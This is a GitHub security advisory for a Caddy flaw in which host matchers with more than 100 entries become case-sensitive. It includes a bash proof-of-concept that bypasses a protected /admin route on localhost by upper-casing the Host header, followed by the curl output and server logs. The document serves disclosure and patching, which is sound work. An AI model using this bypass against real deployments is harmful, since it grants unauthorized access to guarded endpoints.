Skip to content

Caddy: MatchHost becomes case-sensitive for large host lists (>100), enabling host-based route/auth bypass

High severity GitHub Reviewed Published Feb 23, 2026 in caddyserver/caddy • Updated Feb 27, 2026

Package

gomod github.com/caddyserver/caddy/v2 (Go)

Affected versions

< 2.11.1

Patched versions

2.11.1

Description

Summary

Caddy's HTTP host request matcher is documented as case-insensitive, but when configured with a large host list (>100 entries) it becomes case-sensitive due to an optimized matching path. An attacker can bypass host-based routing and any access controls attached to that route by changing the casing of the Host header.

Details

In Caddy v2.10.2, the MatchHost matcher states it matches the Host value case-insensitively:

  • modules/caddyhttp/matchers.go: type MatchHost matches requests by the Host value (case-insensitive).

However, in MatchHost.MatchWithError, when the host list is considered "large" (len(m) > 100):

  • MatchHost.large() returns true for len(m) > 100 (modules/caddyhttp/matchers.go, around the large() helper).
  • The matcher takes a "fast path" using binary search over the sorted host list, and checks for an exact match using a case-sensitive string comparison (m[pos] == reqHost).
  • After the fast path fails, the fallback loop short-circuits for large lists by breaking as soon as it reaches the first non-fuzzy entry. For configs comprised of exact hostnames only (no wildcards/placeholders), this prevents the strings.EqualFold(reqHost, host) check from ever running.

Net effect: with a host list length of 101 or more, changing only the casing of the incoming Host header can cause the host matcher to not match when it should.

Suggested fix

  • Normalize exact hostnames to lower-case during MatchHost.Provision (at least for non-fuzzy entries).
  • Normalize the incoming request host (reqHost) to lower-case before the large-list binary search + equality check, so the optimized path stays case-insensitive.

Reproduced on:

  • Stable release: v2.10.2 -- this is the release I reference in the repro below.
  • Dev build: v2.11.0-beta.2.
  • Master tip: commit 58968b3fd38cacbf4b5e07cc8c8be27696dce60f.

PoC

Prereqs:

  • bash, curl
  • A pre-built Caddy binary available at /opt/caddy-2.10.2/caddy (edit CADDY_BIN in the script if needed)
Script (Click to expand) 
#!/usr/bin/env bash
set -euo pipefail

CADDY_BIN="/opt/caddy-2.10.2/caddy"
HOST="127.0.0.1"
PORT="8080"

TMPDIR="$(mktemp -d)"
CADDYFILE="${TMPDIR}/Caddyfile"
LOG="${TMPDIR}/caddy.log"

cleanup() {
  if [ -n "${CADDY_PID:-}" ] && kill -0 "${CADDY_PID}" 2>/dev/null; then
    kill "${CADDY_PID}" 2>/dev/null || true
    wait "${CADDY_PID}" 2>/dev/null || true
  fi
  rm -rf "${TMPDIR}" 2>/dev/null || true
}
trap cleanup EXIT

if [ ! -x "${CADDY_BIN}" ]; then
  echo "error: missing caddy binary at ${CADDY_BIN}" >&2
  exit 2
fi

echo "== Caddy version =="
"${CADDY_BIN}" version

cat >"${CADDYFILE}" <<EOF
{
    debug
}

:${PORT} {
    log
    @protected {
        host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test
        path /admin
    }
    respond @protected "DENY" 403
    respond "ALLOW" 200
}
EOF

echo
echo "== Caddyfile =="
cat "${CADDYFILE}"

echo
echo "== Start Caddy (debug + capture logs) =="
echo "cmd: ${CADDY_BIN} run --config ${CADDYFILE} --adapter caddyfile"
"${CADDY_BIN}" run --config "${CADDYFILE}" --adapter caddyfile >"${LOG}" 2>&1 &
CADDY_PID="$!"

sleep 2

echo
echo "== Request 1 (baseline - expect deny) =="
echo "cmd: curl -v -H 'Host: h050.test' http://${HOST}:${PORT}/admin"
curl -v -H "Host: h050.test" "http://${HOST}:${PORT}/admin" 2>&1 || true

echo
echo "== Request 2 (BYPASS - expect allow) =="
echo "cmd: curl -v -H 'Host: H050.TEST' http://${HOST}:${PORT}/admin"
curl -v -H "Host: H050.TEST" "http://${HOST}:${PORT}/admin" 2>&1 || true

echo
echo "== Stop Caddy =="
kill "${CADDY_PID}" 2>/dev/null || true
wait "${CADDY_PID}" 2>/dev/null || true

echo
echo "== Full Caddy debug log =="
cat "${LOG}"
Expected output (Click to expand) 
== Caddy version ==
v2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8=

== Caddyfile ==
{
    debug
}

:8080 {
    log
    @protected {
        host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test
        path /admin
    }
    respond @protected "DENY" 403
    respond "ALLOW" 200
}

== Start Caddy (debug + capture logs) ==
cmd: /opt/caddy-2.10.2/caddy run --config /tmp/tmp.3BN6rgj9yF/Caddyfile --adapter caddyfile

== Request 1 (baseline - expect deny) ==
cmd: curl -v -H 'Host: h050.test' http://127.0.0.1:8080/admin
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
* using HTTP/1.x
> GET /admin HTTP/1.1
> Host: h050.test
> User-Agent: curl/8.15.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 403 Forbidden
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Sun, 08 Feb 2026 22:09:09 GMT
< Content-Length: 4
<
* Connection #0 to host 127.0.0.1 left intact
DENY
== Request 2 (BYPASS - expect allow) ==
cmd: curl -v -H 'Host: H050.TEST' http://127.0.0.1:8080/admin
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
* using HTTP/1.x
> GET /admin HTTP/1.1
> Host: H050.TEST
> User-Agent: curl/8.15.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Sun, 08 Feb 2026 22:09:09 GMT
< Content-Length: 5
<
* Connection #0 to host 127.0.0.1 left intact
ALLOW
== Stop Caddy ==

== Full Caddy debug log ==
{"level":"info","ts":1770588548.012352,"msg":"maxprocs: Leaving GOMAXPROCS=4: CPU quota undefined"}
{"level":"info","ts":1770588548.0125406,"msg":"GOMEMLIMIT is updated","package":"github.com/KimMachineGun/automemlimit/memlimit","GOMEMLIMIT":1844136345,"previous":9223372036854775807}
{"level":"info","ts":1770588548.0125597,"msg":"using config from file","file":"/tmp/tmp.3BN6rgj9yF/Caddyfile"}
{"level":"info","ts":1770588548.0131946,"msg":"adapted config to JSON","adapter":"caddyfile"}
{"level":"warn","ts":1770588548.013202,"msg":"Caddyfile input is not formatted; run 'caddy fmt --overwrite' to fix inconsistencies","adapter":"caddyfile","file":"/tmp/tmp.3BN6rgj9yF/Caddyfile","line":2}
{"level":"info","ts":1770588548.0139973,"logger":"admin","msg":"admin endpoint started","address":"localhost:2019","enforce_origin":false,"origins":["//127.0.0.1:2019","//localhost:2019","//[::1]:2019"]}
{"level":"debug","ts":1770588548.0140707,"logger":"http.auto_https","msg":"adjusted config","tls":{"automation":{"policies":[{}]}},"http":{"servers":{"srv0":{"listen":[":8080"],"routes":[{"handle":[{"handler":"subroute","routes":[{"handle":[{"body":"DENY","handler":"static_response","status_code":403}],"match":[{"host":["h001.test","h002.test","h003.test","h004.test","h005.test","h006.test","h007.test","h008.test","h009.test","h010.test","h011.test","h012.test","h013.test","h014.test","h015.test","h016.test","h017.test","h018.test","h019.test","h020.test","h021.test","h022.test","h023.test","h024.test","h025.test","h026.test","h027.test","h028.test","h029.test","h030.test","h031.test","h032.test","h033.test","h034.test","h035.test","h036.test","h037.test","h038.test","h039.test","h040.test","h041.test","h042.test","h043.test","h044.test","h045.test","h046.test","h047.test","h048.test","h049.test","h050.test","h051.test","h052.test","h053.test","h054.test","h055.test","h056.test","h057.test","h058.test","h059.test","h060.test","h061.test","h062.test","h063.test","h064.test","h065.test","h066.test","h067.test","h068.test","h069.test","h070.test","h071.test","h072.test","h073.test","h074.test","h075.test","h076.test","h077.test","h078.test","h079.test","h080.test","h081.test","h082.test","h083.test","h084.test","h085.test","h086.test","h087.test","h088.test","h089.test","h090.test","h091.test","h092.test","h093.test","h094.test","h095.test","h096.test","h097.test","h098.test","h099.test","h100.test","h101.test"],"path":["/admin"]}]},{"handle":[{"body":"ALLOW","handler":"static_response","status_code":200}]}]}],"terminal":true}],"automatic_https":{},"logs":{}}}}}
{"level":"info","ts":1770588548.0143135,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0xc0000d7c80"}
{"level":"debug","ts":1770588548.0143793,"logger":"http","msg":"starting server loop","address":"[::]:8080","tls":false,"http3":false}
{"level":"warn","ts":1770588548.014415,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"warn","ts":1770588548.0144184,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"info","ts":1770588548.0144203,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"level":"debug","ts":1770588548.014438,"logger":"events","msg":"event","name":"started","id":"1c7f6534-d264-456d-988d-e9f77a099c42","origin":"","data":null}
{"level":"info","ts":1770588548.0145273,"msg":"autosaved config (load with --resume flag)","file":"/home/vh/.config/caddy/autosave.json"}
{"level":"info","ts":1770588548.0145316,"msg":"serving initial configuration"}
{"level":"info","ts":1770588548.0274432,"logger":"tls","msg":"storage cleaning happened too recently; skipping for now","storage":"FileStorage:/home/vh/.local/share/caddy","instance":"a259f82d-3c7c-4706-9ca8-17456b4af729","try_again":1770674948.0274422,"try_again_in":86399.999999709}
{"level":"info","ts":1770588548.0275078,"logger":"tls","msg":"finished cleaning storage units"}
{"level":"info","ts":1770588549.9694445,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"127.0.0.1","remote_port":"53220","client_ip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"h050.test","uri":"/admin","headers":{"User-Agent":["curl/8.15.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.000014857,"size":4,"status":403,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}}
{"level":"info","ts":1770588549.9741833,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"127.0.0.1","remote_port":"53234","client_ip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"H050.TEST","uri":"/admin","headers":{"Accept":["*/*"],"User-Agent":["curl/8.15.0"]}},"bytes_read":0,"user_id":"","duration":0.00000551,"size":5,"status":200,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}}
{"level":"info","ts":1770588549.9751372,"msg":"shutting down apps, then terminating","signal":"SIGTERM"}
{"level":"warn","ts":1770588549.9751456,"msg":"exiting; byeee!! 👋","signal":"SIGTERM"}
{"level":"debug","ts":1770588549.9751775,"logger":"events","msg":"event","name":"stopping","id":"e02c5e64-9d76-48b6-a967-4f003850bdd4","origin":"","data":null}
{"level":"info","ts":1770588549.9751873,"logger":"http","msg":"servers shutting down with eternal grace period"}
{"level":"info","ts":1770588549.975331,"logger":"admin","msg":"stopped previous server","address":"localhost:2019"}
{"level":"info","ts":1770588549.9753368,"msg":"shutdown complete","signal":"SIGTERM","exit_code":0}

Impact

This is a route/auth bypass in Caddy's request-matching layer. Any internet-exposed Caddy deployment that relies on host matchers with large host lists (>100) to select protected routes (e.g. applying basicauth, forward_auth, respond deny rules, or protecting reverse_proxy backends) can be bypassed by varying the case of the Host header, allowing unauthorized access to sensitive endpoints depending on upstream configuration.

The reproduction is minimal per the reporting guidance; a realistic "full" scenario is Caddy fronting a multi-tenant app and doing forward_auth/basicauth/deny for /admin only when host is in a big (>100) allowlist, but the default handler still reverse_proxying to the same app. Then sending Host: H050.TEST skips the guarded route in Caddy, yet the upstream still treats it as the same tenant host --> /admin is reachable without the intended guard.

AI Use Disclosure

A custom AI agent pipeline was used to discover the vulnerability, after which was manually reproduced and validated each step. The entire report was ran through an LLM for editing.

Disclosure/crediting

Asim Viladi Oglu Manizada

References

@mholt mholt published to caddyserver/caddy Feb 23, 2026
Published by the National Vulnerability Database Feb 24, 2026
Published to the GitHub Advisory Database Feb 24, 2026
Reviewed Feb 24, 2026
Last updated Feb 27, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(19th percentile)

Weaknesses

Improper Handling of Case Sensitivity

The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results. Learn more on MITRE.

CVE ID

CVE-2026-27588

GHSA ID

GHSA-x76f-jf84-rqj8

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.